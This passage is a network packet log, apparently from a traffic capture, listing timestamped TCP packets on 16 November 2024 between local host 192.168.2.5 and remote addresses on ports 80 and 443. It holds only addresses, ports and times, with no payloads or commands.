Nov 16, 2024 19:22:29.528865099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528898954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528930902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528949976 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.528964043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.528970957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.528996944 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529028893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529041052 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529072046 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529077053 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529109001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529138088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529160023 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529170036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529174089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529210091 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529222965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529256105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529259920 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529289007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529292107 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529337883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529370070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529380083 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529403925 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529445887 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529453993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529493093 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529500961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529532909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529565096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529587984 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529607058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529613972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529644966 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529691935 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529694080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529726028 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529735088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529758930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529791117 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529803991 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529824018 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529856920 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529865980 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529889107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529911041 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529922962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529932022 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529956102 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.529961109 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.529988050 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530019999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530049086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530052900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530081987 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530081987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530102968 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530113935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530131102 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530152082 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530186892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530220032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530239105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530251980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530261040 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530301094 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530302048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530333996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530368090 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530381918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530414104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530424118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530435085 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530447006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530455112 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530491114 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530493021 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530544043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530577898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530587912 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530611038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530642986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530653954 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530675888 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530680895 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530703068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530719995 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530747890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530751944 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530785084 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530803919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530817032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530819893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530848980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530862093 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530903101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530936003 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.530947924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.530983925 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531017065 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531030893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531048059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531078100 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531097889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531102896 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531143904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531145096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531157970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531171083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531204939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531234026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531243086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531263113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531275988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531286001 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531307936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531359911 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531378984 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531390905 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531397104 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531439066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531440020 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531471014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531481028 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531512976 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531518936 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531550884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531558037 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531584024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531590939 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531624079 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531630993 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531663895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531667948 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531696081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531702042 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531728029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531737089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531769037 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531776905 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531810999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531820059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531851053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531860113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531899929 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531910896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531945944 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.531949997 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531991005 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.531995058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532041073 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532048941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532090902 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532097101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532129049 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532133102 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532181025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532203913 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532219887 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532231092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532263994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532295942 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532308102 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532330036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532335997 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532375097 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532378912 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532412052 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532457113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532460928 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532494068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532521963 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532545090 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532555103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532567978 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532599926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532610893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532660961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532708883 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532708883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532741070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532763958 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532773018 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532778978 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532804966 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532820940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532844067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532855034 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532886982 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532898903 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532919884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532952070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.532963991 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.532984018 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533010960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533039093 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533039093 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533044100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533050060 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533077002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533088923 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533108950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533118010 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533142090 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533149958 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533175945 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533200026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533209085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533229113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533241034 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533266068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533273935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533282042 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533308029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533324003 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533340931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533344984 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533373117 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533381939 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533405066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533412933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533437014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533447981 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533469915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533476114 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533500910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533519030 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533534050 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533539057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533560991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533576012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533592939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533600092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533627033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533633947 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533662081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533669949 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533694029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533704042 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533725977 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533735037 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533759117 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533763885 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533790112 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533793926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533828974 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.533832073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.533868074 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.555660963 CET	443	49818	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.556143045 CET	49818	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.556169987 CET	443	49818	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.556575060 CET	49818	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.556581020 CET	443	49818	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.558073997 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.558124065 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.558157921 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.558171034 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.558203936 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.558218956 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.561518908 CET	443	49816	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.561923981 CET	49816	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.561932087 CET	443	49816	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.562393904 CET	49816	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.562398911 CET	443	49816	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.564551115 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.564919949 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.564953089 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.565294981 CET	49817	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.565310955 CET	443	49817	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.598788023 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.599193096 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.599203110 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.599590063 CET	49819	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.599601984 CET	443	49819	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.649790049 CET	443	49815	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.649969101 CET	443	49815	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.650022030 CET	49815	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.650219917 CET	49815	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.650219917 CET	49815	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.650233984 CET	443	49815	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.650239944 CET	443	49815	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.652975082 CET	49824	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.653014898 CET	443	49824	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.653075933 CET	49824	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.653243065 CET	49824	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.653274059 CET	443	49824	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.662782907 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.662810087 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.663054943 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.663063049 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.663098097 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.663234949 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.663243055 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.663264036 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.663414955 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.663479090 CET	49828	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.663507938 CET	443	49828	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.663599014 CET	49828	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.663796902 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.663809061 CET	443	49829	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.663858891 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.663968086 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.663985968 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.664051056 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.664257050 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.664273024 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.664520025 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.664535999 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.664658070 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.664669991 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.664763927 CET	49828	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.664773941 CET	443	49828	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.664880037 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.664895058 CET	443	49829	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.665029049 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:29.665039062 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:29.676651955 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.676713943 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.676736116 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.676747084 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:29.676769972 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.676794052 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.682804108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.682873964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.682882071 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.682917118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.682924032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.682974100 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.682992935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.683027029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.683038950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.683062077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.683074951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.683094978 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.683118105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.683135033 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.683145046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.683177948 CET	80	49770	185.215.113.206	192.168.2.5
